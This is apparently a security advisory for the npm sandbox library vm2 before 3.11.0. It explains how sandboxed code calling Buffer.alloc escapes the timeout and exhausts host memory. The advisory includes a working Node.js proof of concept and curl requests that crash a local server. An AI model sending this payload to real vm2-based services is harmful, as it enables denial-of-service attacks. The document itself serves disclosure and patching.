GHSA-6785-pvv7-mvg7 vm2 Sandbox Access to Host Buffer.alloc Allows timeout Bypass Resulting in Memory Exhaustion

• npm vm2: < 3.11.0 → fixed in 3.11.0

Summary Sandboxed code can call `Buffer.alloc()` with an arbitrary size to allocate memory directly on the host heap. Because `Buffer.alloc` is a synchronous C++ native call, vm2's `timeout` option cannot interrupt it. A single request can exhaust host memory and crash the process with a `FATAL ERROR: Reached heap limit`. Details In `lib/vm.js:58`, `Buffer` is exposed to the sandbox through the `HOST` object. The bridge proxy (`lib/bridge.js`) passes `Buffer.alloc()` calls to the host without any size validation. Key technical distinction from regular JavaScript memory exhaustion (e.g., `while(true) a.push(...)`): • JavaScript loops: V8 can interrupt via timeout — vm2's `timeout` option works • `Buffer.alloc(N)`: Executes as a single synchronous C++ call — V8 timeout has no opportunity to interrupt This means: 1. `timeout: 5000` does NOT protect against this attack 2. A single call allocates the entire requested size at once 3. In memory-constrained environments (Docker, Lambda, Kubernetes pods), this causes immediate OOM crash Tested amplification factor: ~100 bytes HTTP request — 1,000,000:1 or greater (100 bytes request to 100MB+ host heap allocation). PoC Library-level PoC (Node.js script — primary): ```javascript const { VM } = require("vm2"); const vm = new VM({ timeout: 5000 }); // Buffer.alloc bypasses timeout — allocates 100MB on host heap const result = vm.run(`Buffer.alloc(1024*1024*100).length`); console.log(result); // 104857600 — timeout had no effect // Control test — JavaScript loop IS caught by timeout try { vm.run(`var a=[]; while(true) a.push(1)`); } catch(e) { console.log(e.message); // "Script execution timed out after 5000ms" } ``` HTTP demonstration (OOM crash): ```bash 1. Confirm server is running curl -s http://localhost:3000/api/execute \ -X POST -H "Content-Type: application/json" \ -d '{"code":"\"alive\""}' => {"result":"\"alive\""} 2. Send Buffer.alloc payload — process crashes with OOM curl -s -X POST http://localhost:3000/api/execute \ -H "Content-Type: application/json" \ -d '{"code":"Buffer.alloc(1024*1024*100).length"}' => empty response (process died) 3. Check server logs: FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory Control test — JavaScript loop IS caught by timeout: curl -s -X POST http://localhost:3000/api/execute \ -H "Content-Type: application/json" \ -d '{"code":"var a=[]; while(true) a.push(1)"}' => {"errors":["Script execution timed out after 5000ms"]} Server stays alive — timeout works for JS, but NOT for Buffer.alloc ``` Impact • DoS: A single HTTP request crashes the host Node.js process via OOM. The `timeout` option provides no protection. • Environment-dependent severity: • Memory-constrained environments (Docker with memory limits, Kubernetes pods, Lambda): The allocation exceeds the memory limit, causing immediate process termination via OOM. This is the primary threat scenario — `FATAL ERROR: Reached heap limit` was confirmed in testing. • Unconstrained environments: The allocation succeeds and memory is reclaimed by GC after the request completes, resulting in temporary performance degradation rather than a crash. • Scope: All applications using vm2. Default configuration is vulnerable. Memory-constrained environments (Docker, Kubernetes, Lambda) are most severely impacted.